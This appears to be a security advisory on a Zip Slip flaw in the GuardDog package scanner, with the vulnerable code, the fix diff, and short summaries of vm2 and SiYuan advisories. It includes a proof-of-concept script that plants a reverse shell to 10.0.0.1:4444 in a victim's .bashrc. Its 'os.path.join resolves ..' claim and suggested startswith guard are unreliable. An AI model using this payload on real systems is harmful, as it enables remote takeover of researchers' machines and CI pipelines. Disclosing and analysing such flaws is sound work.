Feb 20, 2026·5 min read·69 visits
GuardDog < 2.7.1 contains a Zip Slip vulnerability. Scanning a malicious package allows the attacker to overwrite files (like ~/.bashrc) on the researcher's machine, leading to RCE.
GuardDog, a popular tool for identifying malicious PyPI packages, suffered from a critical path traversal vulnerability. Ironically, scanning a weaponized package could result in the researcher's machine being compromised via Arbitrary File Overwrite and Remote Code Execution (RCE). The flaw stemmed from improper usage of Python's `zipfile` library.
There is a special place in the inferno of irony for security tools that become the very attack vector they were designed to prevent. Enter GuardDog, a CLI tool by DataDog used by researchers and CI pipelines to identify malicious PyPI packages. Its job is to sniff out bad code in the supply chain.
But prior to version 2.7.1, GuardDog had a nasty habit: it would blindly obey the directory structure of the packages it scanned, even if that structure meant writing outside the sandbox. This is the digital equivalent of a bomb disposal robot that detonates because it followed the "Press Here" sticker on the IED.
If you are a security researcher analyzing malware, or a DevSecOps engineer running GuardDog in your CI/CD pipeline, this vulnerability (CVE-2026-22871) meant that simply looking at a malicious package could compromise your entire system. The hunter becomes the hunted.
The vulnerability is a textbook implementation of Zip Slip (CWE-22), but with a twist. Usually, Zip Slip happens when developers use extractall() without sanitizing member names. In this case, the developer actually used the singular extract() method, which is generally safer because it handles some sanitization internally.
However, the developer tried to be helpful. Instead of letting the library decide where to put the file relative to the target directory, they manually constructed the absolute path using os.path.join before passing it to the library.
Here is the logic fail: Python's zipfile.extract(member, path) expects path to be the directory where the file should go. If you pass it a path that has already resolved .. sequences (which os.path.join does on the file system level), the library looks at it and says, "Okay, you want me to extract this file to /home/user/.bashrc? You're the boss!" It effectively bypassed the library's internal checks by feeding it a pre-poisoned path.
Let's look at the diff in guarddog/utils/archives.py. This is a masterclass in how one line of "explicit" code can destroy your security model.
The Vulnerable Code:
# The dev manually joins the target dir with the potentially malicious filename
# BEFORE passing it to zip.extract.
zip.extract(file, path=os.path.join(target_directory, file))If file is ../../../../etc/passwd and target_directory is /tmp/scan, os.path.join resolves this (depending on the OS and context) or simply constructs a path that the zipfile library interprets as the destination root. The library thinks the entire path is the output directory.
The Fix (Commit 9aa6a72):
# The fix is to stop helping. Just tell the library WHERE to extract,
# and let IT handle the filename sanitization.
- zip.extract(file, path=os.path.join(target_directory, file))
+ zip.extract(file, path=target_directory)By passing only target_directory, the zipfile library takes the malicious filename ../../foo, strips the directory traversal characters (sanitizing it to just foo), and extracts it safely inside target_directory.
Exploiting this is trivial and requires no sophisticated memory corruption—just a malformed zip file. Standard zip tools often prevent you from creating archives with ../ in filenames, but we're hackers; we write our own zip headers.
The Attack Chain:
../../../../../../home/ubuntu/.ssh/authorized_keys (or .bashrc for persistence).guarddog scan malicious-pkg.zip.import zipfile
# Quick PoC Generator
zf = zipfile.ZipFile('exploit.zip', 'w')
# This file breaks out of the scan dir and drops a shell
zf.writestr('../../../../../home/victim/.bashrc', 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1')
zf.close()This is rated Critical (CVSS 9.8) for a reason. While GuardDog isn't a long-running service exposing a port to the internet, it operates in high-trust environments.
CI/CD Poisoning: Many organizations run GuardDog in their CI pipelines to prevent supply chain attacks. If an attacker submits a PR that triggers a GuardDog scan, this vulnerability allows them to break out of the scan container, steal AWS credentials from the environment, or poison the build artifacts of the legitimate application.
Researcher Compromise: Security researchers are the primary user base. Compromising a researcher's machine often grants access to other sensitive vulnerabilities, private keys, and restricted networks. It is a high-value target for sophisticated actors.
The fix is straightforward: Update GuardDog to version 2.7.1 immediately. If you are using GuardDog in automated pipelines, force a rebuild of your container images to ensure the new version is pulled.
For developers writing file extraction logic:
zipfile module's built-in protections, or better yet, verify the canonical path of the destination:dest_path = os.path.join(target_dir, member_name)
if not os.path.abspath(dest_path).startswith(os.path.abspath(target_dir)):
raise Exception("Zip Slip attempt detected!")CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
guarddog DataDog | < 2.7.1 | 2.7.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-22 (Path Traversal) |
| CVSS v3.1 | 9.8 (Critical) |
| Attack Vector | Network (Malicious Package) |
| Impact | RCE / Arbitrary File Overwrite |
| Affected Component | guarddog.utils.archives.safe_extract |
| EPSS Score | 0.63% |
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
An incorrect authorization and directory traversal vulnerability in the vm2 library before version 3.11.7 allows remote attackers to bypass the sandbox's external package allowlist. This flaw permits sandboxed code to resolve and execute arbitrary packages available on the host filesystem under host privileges, leading to unauthenticated sandbox escape and host code execution.
A critical vulnerability in the Node.js sandbox library vm2 allows sandboxed code to retrieve the process-wide http.globalAgent and https.globalAgent singletons. By attaching event listeners to these host-realm emitters, sandboxed code can intercept host-realm network requests, capturing sensitive Authorization headers and hijacking active TLSSocket streams.
CVE-2026-92950 (GHSA-jxxv-8r27-vm4p) is a critical sandbox escape vulnerability in the command-line interface of the vm2 library prior to version 3.11.7. The flaw allows untrusted scripts to bypass sandbox constraints and execute arbitrary system commands with the privileges of the host process by exploiting insecure default configurations of the module resolver.
CVE-2026-92948 is a critical sandbox escape vulnerability in the vm2 library affecting versions 3.9.6 through 3.11.6 when executed on Node.js 24 and newer. The vulnerability allows an attacker to bypass built-in module blocking defenses by double-prefixing a restricted module name (such as node:node:test). This permits the loading of the node:test module, whose test runner execution can be leveraged to execute arbitrary shell commands outside the VM sandbox.
A high-severity sandbox escape and state corruption vulnerability exists in the vm2 library (versions 3.11.4 through 3.11.6). The vulnerability is caused by an incomplete blocklist of Node.js-internal registered symbols crossing the sandbox-host bridge boundary. Specifically, the filters in `lib/setup-sandbox.js` and write traps in `lib/bridge.js` omitted the symbols `nodejs.stream.disturbed` and `nodejs.stream.errored`, allowing untrusted code within the sandbox to corrupt host-realm stream state checks.
An architectural evaluation of CVE-2026-73607 in the SiYuan personal knowledge management system. This technical advisory details a Missing Authorization (CWE-862) vulnerability in the Go-based backend kernel, specifically within the outline storage API endpoint. Under certain configurations, authenticated low-privilege users can query metadata, heading structures, and block hierarchies of restricted documents.